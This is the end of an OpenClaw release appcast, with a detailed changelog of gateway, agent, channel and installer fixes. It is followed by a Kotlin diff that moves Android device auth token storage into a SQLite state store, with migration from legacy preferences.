<li>Agents: bound embedded auto-compaction session write-lock watchdogs to the compaction timeout instead of the full run timeout, so stuck compaction cannot hold the live session lock for the whole run window. (#84949) Thanks @luoyanglang.</li>
<li>Gateway/agents: return phase-aware <code>agent.wait</code> timeout attribution and only cool auth profiles on provider-started timeouts. Refs #65504. Thanks @100yenadmin.</li>
<li>Gateway: defer provider auth-state prewarm until after startup readiness so early gateway tool/session requests are not blocked by provider auth discovery. (#85272) Thanks @dutifulbob.</li>
<li>Gateway/models: coalesce provider auth-state rewarms after auth-profile failures and log event-loop delay for warm/rewarm work, so provider auth bursts no longer stack full auth sweeps behind channel replies.</li>
<li>Gateway/models: stop cancelled provider auth-state prewarms from continuing full provider sweeps, so reload and auth-failure bursts no longer keep startup busy.</li>
<li>Agents/Codex: show the first plan update as a transient chat status notice without counting it as final assistant content.</li>
<li>CLI/update: walk the macOS process ancestry and honor the inherited Gateway runtime PID before package updates stop the managed Gateway service, so nested in-band updater children can refuse instead of killing the LaunchAgent-supervised Gateway that owns them. Fixes #85120.</li>
<li>Gateway/LaunchAgent: wait for launchd reload bootout to finish and fall back to kickstart when bootstrap races, so reload handoff does not leave the service deregistered. Fixes #84630. (#84641) Thanks @NianJiuZst.</li>
<li>Gateway/LaunchAgent: treat a concurrent launchd bootstrap as a successful restart when the service is already loaded, avoiding false macOS Gateway restart failures. Fixes #84721. (#84722) Thanks @googlerest.</li>
<li>Gateway/service: include the active <code>openclaw</code> command bin directory in managed service PATH generation and doctor audit expectations for npm-global macOS installs. Fixes #84201. (#84475) Thanks @jbetala7.</li>
<li>Control UI/chat: disable the thinking selector for known non-reasoning models instead of showing duplicate Off choices. Fixes #84069. Thanks @DrippingMellow.</li>
<li>Memory: expand <code>~</code> in configured extra memory paths before resolving them, so home-relative folders are not treated as workspace-relative. Fixes #58026. Thanks @stadman.</li>
<li>Skills: treat <code>openclaw.os: macos</code> as Darwin when checking skill requirements, so macOS-only skills no longer report as missing on macOS hosts. Fixes #61338. Thanks @Jessecq1995.</li>
<li>Control UI/logs: strip ANSI escape sequences from displayed Gateway log messages so color codes no longer appear as raw text. Fixes #64399. Thanks @guguangxin-eng.</li>
<li>Docker: pre-create the workspace and auth-profile config mount points with <code>node</code> ownership so first-run named volumes do not start root-owned. Fixes #85076. Thanks @Noerr.</li>
<li>Telegram: pass configured markdown table mode through outbound markdown chunking so chunked sends render tables consistently. Fixes #85085. Thanks @ShuaiHui.</li>
<li>CLI/update: preserve managed Gateway service environment during package cutovers so macOS LaunchAgent repair/restart reads the pre-update service state instead of caller shell state. (#83026)</li>
<li>Agents/providers: honor per-model <code>api</code> and <code>baseUrl</code> overrides in custom provider auth hooks and transport selection. Fixes #80487. (#80488) Thanks @huveewomg.</li>
<li>Gateway/restart: eager-load the lifecycle runtime before in-place upgrade signal handling so package replacement does not deadlock restart imports. (#84890) Thanks @myps6415.</li>
<li>CLI/update: start managed Gateway update handoff helpers from a stable existing directory and tolerate deleted cwd/package roots during macOS LaunchAgent handoff. Fixes #83808. (#83875) Thanks @jason-allen-oneal.</li>
<li>Skills: watch each shared skill directory once across agent workspaces instead of once per agent, preventing file-descriptor exhaustion (<code>EMFILE</code>) that disposed bundle-mcp processes and stalled sessions on multi-agent gateways. Fixes #84968. (#85130) Thanks @openperf.</li>
<li>Release/security: keep generated npm shrinkwrap package versions inside the pnpm lock graph so published package locks cannot bypass pnpm dependency age and override policy.</li>
<li>Cron: honor <code>cron.retry.retryOn: ["network"]</code> for common network error codes such as <code>EAI_AGAIN</code>, <code>EHOSTUNREACH</code>, and <code>ENETUNREACH</code>.</li>
<li>Gateway chat: broadcast returned agent-run error payloads after an agent starts so ACP/WebChat clients receive terminal idle-timeout errors. Fixes #84945.</li>
<li>Gateway chat display: preserve OpenAI-compatible <code>prompt_tokens</code>, <code>completion_tokens</code>, and <code>total_tokens</code> usage fields in sanitized chat history so llama.cpp sessions keep context counts. Fixes #77992. Thanks @MarTT79.</li>
<li>Dashboard/CLI: allow macOS browser launching through <code>open</code> even when SSH environment variables are present, while preserving Linux SSH no-display protection. Fixes #67088. Thanks @theglove44.</li>
<li>Codex app-server: keep native web search observations out of mirrored chat transcripts while preserving tool progress telemetry. Fixes #85109. Thanks @ugitmebaby.</li>
<li>OpenCode Go: strip unsupported Kimi reasoning replay fields before provider requests so repeated <code>kimi-k2.6</code> turns do not fail schema validation. Fixes #83812. Thanks @Sleeck.</li>
<li>Browser/CDP: add a WSL2 portproxy self-loop hint when Chrome DevTools endpoints accept connections but return an empty HTTP reply. Fixes #59209. Thanks @Owlock.</li>
<li>Agents/OpenAI: preserve structured provider error code, type, and redacted body metadata on boundary-aware transport failures.</li>
<li>Doctor/Codex: point native Codex asset warnings at the canonical <code>openclaw migrate plan codex</code> preview command. Fixes #84948. Thanks @markoa.</li>
<li>CLI/models: make <code>capability model auth logout --agent</code> remove auth profiles from the selected non-default agent store. Fixes #85092. Thanks @islandpreneur007.</li>
<li>Gateway/models: reuse prepared provider auth metadata during model-listing auth checks so repeated lookups avoid broad plugin discovery while preserving synthetic local auth.</li>
<li>CLI/status: suppress systemd user-service setup hints when <code>openclaw status --deep</code> can already reach a running Gateway RPC service. Fixes #85094. Thanks @islandpreneur007.</li>
<li>CLI/devices: recover local approval when a same-device repair request replaces the request ID being approved.</li>
<li>CLI/agents: retry transient normal-close Gateway handshakes before falling back to embedded <code>openclaw agent</code> execution.</li>
<li>CLI/update: keep managed Gateway service stop/restart status lines out of <code>openclaw update --json</code> stdout so package-update automation can parse the JSON payload.</li>
<li>Plugins: resolve OpenClaw plugin SDK subpaths for native external plugin runtimes without mutating package installs or broadening process-wide module resolution.</li>
<li>Agents/OpenAI: preserve Responses and Chat Completions <code>reasoning_tokens</code> usage metadata without double-counting it in aggregate output tokens. (#85319)</li>
<li>Control UI/chat: convert pasted <code>data:image/...;base64,...</code> clipboard text into an image attachment instead of dumping the payload into the composer. Fixes #62604. Thanks @cpwilhelmi.</li>
<li>Providers/Gemini: strip fractional seconds from web-search time range filters so Gemini accepts freshness-bound search requests. (#85071) Thanks @Noerr.</li>
<li>OpenAI Codex: preserve image input support for sparse <code>openai-codex/gpt-5.5</code> catalog rows. (#85095) Thanks @sercada.</li>
<li>CLI/models: add a piped or pasted API-key path for OpenAI Codex auth and warn when API keys are pasted into token-mode auth. (#85533) Thanks @joshavant.</li>
<li>Telegram: dead-letter missing-harness isolated ingress failures so a poisoned spooled update no longer blocks later same-lane messages. Fixes #85470. (#85605) Thanks @joshavant.</li>
<li>Plugins/discovery: strip <code>-plugin</code> package suffixes when deriving plugin id hints so package names line up with manifest ids. (#85170) Thanks @JulyanXu.</li>
<li>Tlon: stop advertising a non-existent agent tool contract in the plugin manifest.</li>
<li>Telegram: preserve fenced code block languages through Markdown rendering so Telegram receives <code>language-*</code> code classes. (#85209) Thanks @leno23.</li>
<li>Windows installer: run npm and Corepack command shims from a Windows-local directory so installs launched from WSL2 UNC paths do not fail before OpenClaw is installed.</li>
<li>Windows updates: roll back git-backed updates to the previous checkout when dependency install, build, UI build, or doctor repair fails.</li>
<li>Windows installer: persist user-local portable Git on PATH and activate the repo-pinned pnpm version for git-backed installs and updates.</li>
<li>Windows installer: bootstrap a user-local portable Node.js when native Windows has no Node and no winget, Chocolatey, or Scoop, so first-run installs can continue on raw hosts.</li>
<li>Windows installer: extract the downloaded portable Node.js directory with native <code>tar</code> before falling back to .NET zip extraction, avoiding PowerShell 5.1 archive and path-length failures.</li>
<li>fix(integrations): enforce channel read target allowlists [AI]. (#84982) Thanks @pgondhi987.</li>
<li>Agents/heartbeat: route single-owner <code>session.dmScope=main</code> direct-message exec and cron event wakes back to the agent main session so async completions no longer strand context in orphan direct-DM queues. Fixes #71581. (#83743) Thanks @Kaspre.</li>
<li>Agents/code-mode: expose outer code-mode <code>exec</code> source through the <code>command</code> hook alias with <code>toolKind</code>/<code>toolInputKind</code> discriminators so exec-shaped policies can distinguish code-mode cells. (#83483) Thanks @Kaspre.</li>
<li>Agents/code mode: return structured timeout and runtime-unavailable error codes for known worker failures. Fixes #83389. (#83444) Thanks @Kaspre.</li>
<li>QA-Lab: isolate multi-scenario suite workers when scenarios need startup config patches, preventing message-routing config from leaking into unrelated scenarios.</li>
<li>QA-Lab: make the commitments heartbeat-target-none scenario request an immediate heartbeat instead of waiting for the next scheduled heartbeat.</li>
<li>Codex/Plugin SDK: deliver Codex-native subagent completions through a generic harness task runtime so harness-backed plugins can mirror durable task lifecycle and completion delivery without Codex-specific SDK imports. (#83445) Thanks @bryanpearson.</li>
<li>Gateway CLI: surface local post-challenge connect assembly failures immediately instead of waiting for the wrapper timeout. Fixes #68944. (#85253) Thanks @samzong.</li>
<li>Messages: strip unsupported web-search citation control markers from outbound replies before they reach WebChat or external channels. Fixes #85193. (#85204) Thanks @neeravmakwana.</li>
<li>Agents/exec: treat denied exec approvals as terminal instead of feeding them back into agent follow-up work, and recognize Chinese stop phrases in abort handling. Fixes #69386. (#85194) Thanks @samzong.</li>
<li>CLI/agents: abort accepted Gateway-backed <code>openclaw agent</code> runs on SIGINT/SIGTERM so cron and supervisor timeouts do not leave remote agent work alive. Fixes #71710. (#84381) Thanks @Kaspre.</li>
<li>Codex app-server: retry replay-safe stdio client-close turns once using structured failure metadata, while surfacing idle <code>turn/completed</code> timeouts instead of blindly replaying active shared-server turns. Thanks @VACInc.</li>
<li>Codex app-server: reject command overrides that embed Node or package-manager arguments and point users to <code>appServer.args</code>, so Windows startup avoids shell parsing failures. (#84417) Thanks @TurboTheTurtle.</li>
<li>Agents/Copilot: drop unsafe GitHub Copilot Responses reasoning replay items before send so Telegram direct sessions no longer fail on overlong replay IDs. Fixes #85197. (#85198) Thanks @galiniliev.</li>
<li>UI: add accessible tooltips to the topbar color-mode buttons so System, Light, and Dark choices are labeled on hover and focus. (#85227) Thanks @amknight.</li>
<li>fix: constrain Windows task script names [AI]. (#85064) Thanks @pgondhi987.</li>
<li>Control UI: keep the chat session picker from hiding older or cross-agent configured conversations while preserving the bounded configured-agent refresh. (#85211) Thanks @amknight.</li>
<li>Agents/Anthropic: preserve unsafe integer tool-call input values in streamed Anthropic tool-use JSON, preventing Discord-style IDs from being rounded before dispatch. Fixes #47229. (#83063) Thanks @leno23.</li>
<li>Agents/Codex: estimate tool-heavy prompt pressure at the LLM boundary before provider submission, so persistent sessions compact before overflowing context windows. (#85541) Thanks @fuller-stack-dev and @joshavant.</li>
<li>Agents/hooks: wait for local one-shot CLI and Codex <code>agent_end</code> plugin hooks before process cleanup so terminal observability flushes reliably. (#85007)</li>
<li>Providers/Google: preserve Gemini 3 cron <code>thinkingDefault: "low"</code> when stale catalog metadata says <code>reasoning:false</code>, so scheduled runs keep provider-supported thinking instead of downgrading to off. (#85185) Thanks @neeravmakwana.</li>
<li>CLI/agents: allow <code>openclaw agent --session-key</code> to target explicit session keys, including agent-scoped legacy keys. (#85121) Thanks @Kaspre.</li>
<li>Auto-reply/ACP: wait for same-channel block reply delivery before starting tool work, while still honoring ACP dispatch aborts so stopped turns do not wait on slow channel sends. (#83722) Thanks @IWhatsskill.</li>
<li>Codex/ACP: mark required child-run completions that only report progress, omit a final deliverable, or fail requester delivery as blocked while preserving real final reports. (#85110) Thanks @IWhatsskill.</li>
<li>Channels: treat bare abort messages such as <code>stop</code>, <code>abort</code>, and <code>wait</code> as immediate control commands in inbound debounce paths so stop requests are not delayed behind pending message coalescing. (#83348) Thanks @IWhatsskill.</li>
<li>Channels/message tool: resolve configured external channel plugins during in-agent channel selection, so <code>openclaw agent --local</code> message-tool sends no longer report an available channel as unavailable. (#85022) Thanks @Kaspre.</li>
<li>Agents/heartbeat: honor group/channel <code>message_tool</code> visible-reply policy and model-specific Codex runtime config for scheduled heartbeat runs, so failed internal tool output stays private. Fixes #85310. (#85357) Thanks @neeravmakwana.</li>
<li>Gateway/ACP: close child ACP sessions spawned via <code>sessions_spawn</code> when their parent session is reset or deleted, instead of leaving orphaned <code>claude-agent-acp</code> processes that accumulate and exhaust memory. Fixes #68916. (#85190) Thanks @openperf.</li>
<li>Codex app-server: block native execution paths when OpenClaw exec resolves to a node host while preserving the first-party CLI node binding path. Fixes #85012. (#85534) Thanks @joshavant.</li>
<li>Diagnostics: bound cleanup timeout detail logs, emit drop summaries when async diagnostic bursts exceed the queue cap, and surface async queue drops through diagnostic telemetry.</li>
<li>Agents/subagents: surface blocked child-run completions as errors instead of successful subagent finishes. (#80886) Thanks @TurboTheTurtle.</li>
<li>Context engines: fail closed with a descriptive error when the selected agent runtime cannot satisfy declared context-engine host requirements.</li>
<li>Agents/Pi: treat accepted embedded <code>sessions_spawn</code> child-session handoffs as terminal progress so parent turns no longer report false non-deliverable failures. (#85054) Thanks @samzong.</li>
<li>CLI/models: resolve <code>openclaw models set</code> aliases from the runtime config while keeping authored aliases ahead of runtime-only defaults. (#83262) Thanks @IWhatsskill.</li>
<li>Doctor: show personal Codex CLI asset notices as info instead of warnings. Fixes #84859.</li>
<li>WhatsApp: update Baileys to <code>7.0.0-rc13</code> and drop the obsolete logger type patch.</li>
<li>CLI/update: pre-pack GitHub/git package update targets before the staged npm install, restoring <code>openclaw update --tag main</code> for one-off package updates. (#81296) Thanks @fuller-stack-dev.</li>
<li>Gateway: mirror successful same-source message-tool sends into session transcripts so delivered replies stay in later history/context. (#84837) Thanks @iFiras-Max1.</li>
<li>Media generation: keep image, music, and video completion delivery from duplicating or losing task ownership when generated media finishes through active session replies. (#84006) Thanks @fuller-stack-dev.</li>
<li>Infra/json: retry transient <code>File changed during read</code> races while loading JSON state so config and state reads recover instead of failing the turn. (#84285)</li>
<li>Plugins/providers: fail closed for workspace provider plugins during setup-mode discovery unless explicitly trusted, preventing untrusted workspace plugin code from running during provider setup. (#81069) Thanks @mmaps.</li>
<li>Providers/Ollama: resolve configured Ollama Cloud <code>OLLAMA_API_KEY</code> markers to the real discovery key so cloud provider entries keep authenticated model catalog access. (#85037)</li>
<li>Discord: keep persistent component registry fallback warnings actionable by forwarding structured error and cause metadata through the runtime logger. Fixes #84185. (#84190) Thanks @100menotu001.</li>
<li>Gateway/sessions: preserve compatible session auth profile overrides when switching models within the same provider, including provider-auth aliases. Fixes #81837. (#81886) Thanks @TurboTheTurtle.</li>
<li>Gateway/status: surface inbound delivery telemetry counters and transport-liveness warnings in <code>openclaw status --all</code>. Fixes #49577. (#72724)</li>
<li>Docker: prune package-excluded plugin source workspaces and dependency closures so runtime images do not keep packages for plugins that were not opted in.</li>
<li>Providers/Ollama: treat Docker/OrbStack host aliases as local Ollama endpoints so <code>ollama-local</code> marker auth works when OpenClaw runs inside a VM/container and Ollama runs on the host. Fixes #84875.</li>
<li>QA-Lab: keep explicitly searchable/deferred OpenClaw dynamic tool rows report-only by default so tool-coverage gates do not treat mock discovery gaps as hard product failures. (#80319) Thanks @100yenadmin.</li>
<li>Agents/config: keep non-Google provider model refs from being rewritten by Google Gemini preview-id normalization. (#84762) Thanks @zhangguiping-xydt.</li>
<li>Installer: require a real controlling terminal before launching onboarding so headless <code>curl | bash</code> installs finish cleanly after installing the CLI.</li>
<li>Agents/Codex: promote a completed final assistant response when a prompt timeout races Codex app-server completion instead of returning an empty timeout envelope. Refs #84516.</li>
<li>Codex app-server: keep interrupted turn statuses from being treated as OpenClaw aborts by themselves, so tool-only turns remain eligible for no-visible-answer recovery. Fixes #84492.</li>
<li>Agents: cap heartbeat model bleed context hints by the stored session window when runtime model metadata is unavailable, so overflow recovery advice does not suggest a larger window than the active session actually has.</li>
<li>Control UI/Web Push: use <code>https://openclaw.ai</code> as the generated default VAPID subject instead of the old localhost mailbox so iOS PWA push setup uses an Apple-acceptable subject when <code>OPENCLAW_VAPID_SUBJECT</code> is unset. Fixes #83134. (#83317) Thanks @IWhatsskill.</li>
<li>Control UI: distinguish inherited thinking-off settings from explicit Off selections so the thinking selector no longer shows two identical Off rows. (#85223) Thanks @amknight.</li>
<li>Agents/Pi: keep embedded session transcript writes from tripping false takeover detection after packaged npm onboarding agent turns.</li>
<li>Codex/TUI: surface Codex-native post-turn compaction failures instead of continuing uncompacted, and keep successful native compaction serialized before local idle/next-turn handling. Fixes #84305. (#85160) Thanks @joshavant.</li>
<li>Memory/search: stop recall tracking from writing dreaming side-effect artifacts when <code>dreaming.enabled=false</code>, while preserving normal search results. Fixes #84436. (#84444) Thanks @NianJiuZst.</li>
<li>Diffs: render viewer toolbar icons from a closed icon-name map instead of HTML strings, removing the toolbar icon XSS sink. (#83955) Thanks @tanshanshan.</li>
<li>QA: keep <code>pnpm qa:e2e</code> self-check runs inside the private QA runtime envelope even when inherited shell env disables bundled plugins.</li>
<li>fix(config): validate browser sandbox bind sources [AI]. (#84799) Thanks @pgondhi987.</li>
<li>doctor: constrain legacy plugin cleanup paths [AI]. (#84801) Thanks @pgondhi987.</li>
<li>Update/doctor: prune stale local bundled plugin install records that point at old compiled bundled output so current bundled plugin schemas win after upgrade. (#84863) Thanks @fuller-stack-dev.</li>
<li>Providers/Ollama: preserve native Ollama tool-call IDs across assistant replay so Gemini over Ollama Cloud can keep its hidden function-call thought-signature handle.</li>
<li>Discord: keep session recovery and <code>/stop</code> abort ownership on the source dispatch lane while bound ACP turns continue routing to their target session, so stalled pre-run work and late replies are cleared instead of leaking after stop. Fixes #84477. (#85100) Thanks @joshavant.</li>
<li>Codex app-server: mark missing turn completion after observed execution as replay-unsafe and release the session so follow-up turns can run. Fixes #84076. (#85107) Thanks @joshavant.</li>
<li>Codex app-server: give visible <code>message</code> dynamic tool sends a longer timeout budget so slow channel delivery can return its own result or error instead of hitting the 30-second Codex wrapper. (#85216) Thanks @amknight.</li>
<li>Codex app-server: add a dedicated post-tool raw assistant completion idle timeout config so trusted heavy turns can wait longer after tool handoff without weakening final assistant release.</li>
<li>Matrix: keep explicitly configured two-person rooms on the room route before stale <code>m.direct</code> or strict two-member DM fallback can bypass mention gating. Fixes #85017. (#85137) Thanks @joshavant.</li>
<li>Agents/subagents: require explicit subagent allowlist targets to be configured agents so stale deleted-agent ids are omitted from <code>agents_list</code> and rejected by <code>sessions_spawn</code>. Fixes #84811. (#85154) Thanks @joshavant.</li>
<li>PDF tool: time out idle remote PDF body reads after 120 seconds so stalled remote documents return an error instead of wedging the session. Fixes #68649. (#84768) Thanks @luoyanglang.</li>
<li>Diagnostics/OpenTelemetry plugin: suppress handled OTLP exporter promise rejections so collector shutdowns no longer crash the Gateway. (#81085) Thanks @luoyanglang.</li>
<li>Agents/exec: omit raw command text and env values from denied exec failure logs while keeping safe correlation metadata. Fixes #85049. (#85140) Thanks @joshavant.</li>
<li>Media/audio: skip empty structured sherpa-onnx transcripts instead of treating the raw JSON payload as spoken text. (#84667) Thanks @TurboTheTurtle.</li>
<li>Agents/exec: preserve inherited XDG base-directory environment values for subprocesses while still rejecting agent-supplied XDG overrides. Fixes #84854. (#85139) Thanks @joshavant.</li>
<li>Node/Linux: keep <code>OPENCLAW_GATEWAY_TOKEN</code> out of generated systemd unit files by writing node service token values to a node-specific env file. (#84408)</li>
<li>Memory-core/dreaming: reuse stable narrative subagent session keys per workspace and phase while keeping per-run idempotency and bounded cleanup, so stale <code>dreaming-narrative-*</code> sessions do not accumulate. Fixes #68252, #69187, and #70402. (#70464) Thanks @chiyouYCH.</li>
<li>Trajectory/support: tolerate partial skill snapshot entries when building support metadata so rejected skill path scans no longer abort trajectory capture. (#71185) Thanks @lukeboyett.</li>
<li>TUI: coalesce repeated idle Esc abort notices into a single <code>no active run xN</code> system row instead of appending duplicate rows.</li>
<li>Telegram: honor <code>channels.telegram.pollingStallThresholdMs</code> in the default isolated polling path, restarting silent workers instead of leaving inbound updates wedged. Fixes #83950. (#84861) Thanks @joshavant.</li>
<li>Telegram: dedupe replayed message dispatches by Telegram chat/message identity so isolated-ingress replays do not trigger duplicate model dispatches. Fixes #84886. (#85208) Thanks @joshavant.</li>
<li>Slack: suppress reasoning payloads before reply delivery and dispatch accounting, so Slack monitor, slash-command, fallback, and direct reply paths do not leak model reasoning. Fixes #84319. (#84322) Thanks @ffluk3 and @joshavant.</li>
<li>Slack: deliver native plugin approval prompts and updates when Slack native approvals are enabled, while keeping plugin approval authorization separate from exec approvers.</li>
<li>Slack: keep native plugin approval prompts in the originating app conversation thread when the live Slack turn source is a <code>D...</code> conversation.</li>
<li>Agents/Pi: disable the embedded pi-coding-agent runtime auto-retry so OpenClaw's own retry and failover loop does not replay failed tool calls through a nested SDK retry. Fixes #73781. (#74434) Thanks @yelog.</li>
<li>CLI/perf: keep <code>setup --help</code>, <code>onboard --help</code>, and <code>configure --help</code> out of the full wizard runtime while preserving the existing help output. (#84488) Thanks @frankekn.</li>
<li>CLI/perf: keep <code>agents --help</code> out of agents action/runtime imports so help, completion, and command discovery paths avoid loading the full agents runtime. (#84483) Thanks @frankekn.</li>
<li>CLI/perf: keep <code>secrets --help</code> and <code>nodes --help</code> on the precomputed help path so parent help avoids loading action-heavy command runtime modules. (#84818) Thanks @frankekn.</li>
<li>CLI/perf: serve <code>doctor</code>, <code>gateway</code>, <code>models</code>, and <code>plugins</code> parent help from startup metadata so common subcommand help avoids full CLI program construction. (#84786) Thanks @frankekn.</li>
<li>Codex/Lossless: keep context-engine history on the canonical run session when Telegram DMs use per-peer runtime policy keys. Fixes #84936. (#84954) Thanks @neeravmakwana.</li>
<li>Codex: keep heartbeat response tool schemas durable without exposing dynamic tools disabled by turn policy, so heartbeat wakeups can reuse threads while scoped tool allowlists stay enforced. (#84681) Thanks @jalehman.</li>
<li>Auth/OAuth: skip the refresh adapter when a stored OAuth credential has no refresh token so agent turns fail fast on missing-key instead of waiting on the 120s refresh timeout. Thanks @romneyda.</li>
<li>Auth/Codex: load legacy OAuth sidecar credentials in the embedded runner's secrets-runtime auth loaders so Telegram replies, cron-triggered turns, and other isolated sub-agent lanes can reach the existing #83312 refresh-and-rewrite migration instead of failing with <code>No API key found for provider "openai-codex"</code> until the user runs <code>openclaw doctor</code>. Thanks @Totalsolutionsync and @romneyda.</li>
<li>Codex/failover: classify <code>deactivated_workspace</code> as a permanent auth failure so configured fallback models can advance when a Codex workspace is deactivated. (#55893) Thanks @litang9.</li>
<li>Exec: keep configured <code>tools.exec.pathPrepend</code> entries ahead of user shell startup PATH changes on POSIX gateway runs. (#81403) Thanks @medns.</li>
<li>Gateway/sessions: allow shared-secret bearer callers to read and stream session history without an explicit scope header. (#81815) Thanks @medns.</li>
<li>Agents/embedded runner: classify HTML auth provider responses as <code>auth_html</code> and return a re-authentication hint instead of the CDN-blocked copy that <code>upstream_html</code> returns. Cloudflare Access login pages, nginx basic-auth challenges, and gateway login walls all produce HTML auth bodies that were previously misdiagnosed as transient CDN blocks. (#79900) Thanks @martingarramon.</li>
<li>TUI/streaming watchdog: dismiss the <code>This response is taking longer than expected</code> notice as soon as a chat event for the same run arrives, so the message no longer sits next to the recovered response when the run was only briefly silent. Refs #67052, #69081 (closed), prior attempt #69026. Thanks @jpruit20 and @romneyda.</li>
<li>Agents/Pi: tolerate OpenClaw-owned transcript writes while embedded prompts are released for model I/O, keeping long-running Feishu, Slack, Telegram, and cron turns from failing with false session-takeover errors. Fixes #84059. (#84250) Thanks @tianxiaochannel-oss88.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
]]></description>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.5.22/OpenClaw-2026.5.22.zip" length="54409357" type="application/octet-stream" sparkle:edSignature="am1mwLOmUHor9QuQWtxSsKoBOCySUBo4fB+0Qdcrz0E3wf6ESIMTfOC0k+dKJSh9gtLZw5jzpWVqTBzEdU36Aw=="/>
</item>
</channel>
</rss>

View File

@@ -6,6 +6,7 @@ import ai.openclaw.app.chat.ChatPendingToolCall
import ai.openclaw.app.chat.ChatSessionEntry
import ai.openclaw.app.chat.OutgoingAttachment
import ai.openclaw.app.gateway.DeviceAuthStore
import ai.openclaw.app.gateway.DeviceAuthTokenStore
import ai.openclaw.app.gateway.DeviceIdentityStore
import ai.openclaw.app.gateway.GatewayDiscovery
import ai.openclaw.app.gateway.GatewayEndpoint
@@ -79,6 +80,7 @@ class NodeRuntime(
context: Context,
val prefs: SecurePrefs = SecurePrefs(context.applicationContext),
private val tlsFingerprintProbe: suspend (String, Int) -> GatewayTlsProbeResult = ::probeGatewayTlsFingerprint,
private val deviceAuthStore: DeviceAuthTokenStore = DeviceAuthStore(context.applicationContext),
) {
data class GatewayConnectAuth(
val token: String?,
@@ -88,7 +90,6 @@ class NodeRuntime(
private val appContext = context.applicationContext
private val scope = CoroutineScope(SupervisorJob() + Dispatchers.IO)
private val deviceAuthStore = DeviceAuthStore(prefs)
val canvas = CanvasController()
val camera = CameraCaptureManager(appContext)
val location = LocationCaptureManager(appContext)
@@ -109,7 +110,6 @@ class NodeRuntime(
private val cameraHandler: CameraHandler =
CameraHandler(
appContext = appContext,
camera = camera,
externalAudioCaptureActive = externalAudioCaptureActive,
showCameraHud = ::showCameraHud,
@@ -119,7 +119,6 @@ class NodeRuntime(
private val debugHandler: DebugHandler =
DebugHandler(
appContext = appContext,
identityStore = identityStore,
)
@@ -2871,7 +2870,7 @@ fun providerDisplayName(provider: String): String =
when (provider.trim().lowercase()) {
"openai" -> "OpenAI"
"openrouter" -> "OpenRouter"
"openai-codex", "codex" -> "Codex"
"codex" -> "Codex"
"ollama", "ollama-local" -> "Ollama Local"
else ->
provider

View File

@@ -442,6 +442,23 @@ class SecurePrefs(
securePrefs.edit { remove(key) }
}
fun keysWithPrefix(prefix: String): Set<String> =
securePrefs
.all
.keys
.filter { it.startsWith(prefix) }
.toSet()
fun removeKeysWithPrefix(prefix: String) {
val keys = keysWithPrefix(prefix)
if (keys.isEmpty()) return
securePrefs.edit {
for (key in keys) {
remove(key)
}
}
}
private fun createSecurePrefs(
context: Context,
name: String,

View File

@@ -1,7 +1,9 @@
package ai.openclaw.app.gateway
import ai.openclaw.app.SecurePrefs
import android.content.Context
import kotlinx.serialization.Serializable
import kotlinx.serialization.decodeFromString
import kotlinx.serialization.encodeToString
import kotlinx.serialization.json.Json
@@ -18,6 +20,10 @@ private data class PersistedDeviceAuthMetadata(
val updatedAtMs: Long = 0L,
)
private const val deviceAuthTokenPrefix = "gateway.deviceToken."
private const val deviceAuthMetadataPrefix = "gateway.deviceTokenMeta."
private const val sqliteSecurePrefsTokenMarker = "__openclaw_secure_prefs__"
interface DeviceAuthTokenStore {
fun loadEntry(
deviceId: String,
@@ -42,29 +48,104 @@ interface DeviceAuthTokenStore {
)
}
class DeviceAuthStore(
private val prefs: SecurePrefs,
internal interface DeviceAuthStateStore {
fun readDeviceAuthToken(
deviceId: String,
role: String,
): OpenClawSQLiteDeviceAuthTokenRow?
fun readLatestDeviceAuthDeviceId(): String?
fun upsertDeviceAuthToken(row: OpenClawSQLiteDeviceAuthTokenRow)
fun deleteDeviceAuthToken(
deviceId: String,
role: String,
)
fun deleteAllDeviceAuthTokens()
}
private class OpenClawSQLiteDeviceAuthStateStore(
private val store: OpenClawSQLiteStateStore,
) : DeviceAuthStateStore {
override fun readDeviceAuthToken(
deviceId: String,
role: String,
): OpenClawSQLiteDeviceAuthTokenRow? = store.readDeviceAuthToken(deviceId, role)
override fun readLatestDeviceAuthDeviceId(): String? = store.readLatestDeviceAuthDeviceId()
override fun upsertDeviceAuthToken(row: OpenClawSQLiteDeviceAuthTokenRow) {
store.upsertDeviceAuthToken(row)
}
override fun deleteDeviceAuthToken(
deviceId: String,
role: String,
) {
store.deleteDeviceAuthToken(deviceId, role)
}
override fun deleteAllDeviceAuthTokens() {
store.deleteAllDeviceAuthTokens()
}
}
class DeviceAuthStore private constructor(
private val context: Context,
private val legacyPrefsOverride: SecurePrefs? = null,
private val stateStore: DeviceAuthStateStore,
) : DeviceAuthTokenStore {
constructor(
context: Context,
legacyPrefsOverride: SecurePrefs? = null,
) : this(
context = context,
legacyPrefsOverride = legacyPrefsOverride,
stateStore = OpenClawSQLiteDeviceAuthStateStore(OpenClawSQLiteStateStore(context)),
)
internal companion object {
fun createForTesting(
context: Context,
legacyPrefsOverride: SecurePrefs? = null,
stateStoreOverride: DeviceAuthStateStore,
): DeviceAuthStore =
DeviceAuthStore(
context = context,
legacyPrefsOverride = legacyPrefsOverride,
stateStore = stateStoreOverride,
)
}
private val json = Json { ignoreUnknownKeys = true }
private val legacyPrefs by lazy { legacyPrefsOverride ?: SecurePrefs(context) }
override fun loadEntry(
deviceId: String,
role: String,
): DeviceAuthEntry? {
val key = tokenKey(deviceId, role)
val token = prefs.getString(key)?.trim()?.takeIf { it.isNotEmpty() } ?: return null
val normalizedDevice = normalizeDeviceId(deviceId)
val normalizedRole = normalizeRole(role)
val metadata =
prefs
.getString(metadataKey(deviceId, role))
?.let { raw ->
runCatching { json.decodeFromString<PersistedDeviceAuthMetadata>(raw) }.getOrNull()
val row =
stateStore.readDeviceAuthToken(normalizedDevice, normalizedRole)
?: return migrateLegacyEntryIfNoSqliteAuthRows(normalizedDevice, normalizedRole)
val token =
legacyPrefs
.getString(tokenKey(normalizedDevice, normalizedRole))
?.trim()
?.takeIf { it.isNotEmpty() }
?: row.token.trim().takeIf { it.isNotEmpty() && it != sqliteSecurePrefsTokenMarker }?.also {
legacyPrefs.putString(tokenKey(normalizedDevice, normalizedRole), it)
stateStore.upsertDeviceAuthToken(row.copy(token = sqliteSecurePrefsTokenMarker))
}
?: return null
return DeviceAuthEntry(
token = token,
role = normalizedRole,
scopes = metadata?.scopes ?: emptyList(),
updatedAtMs = metadata?.updatedAtMs ?: 0L,
scopes = decodeScopes(row.scopesJson),
updatedAtMs = row.updatedAtMs,
)
}
@@ -74,16 +155,35 @@ class DeviceAuthStore(
token: String,
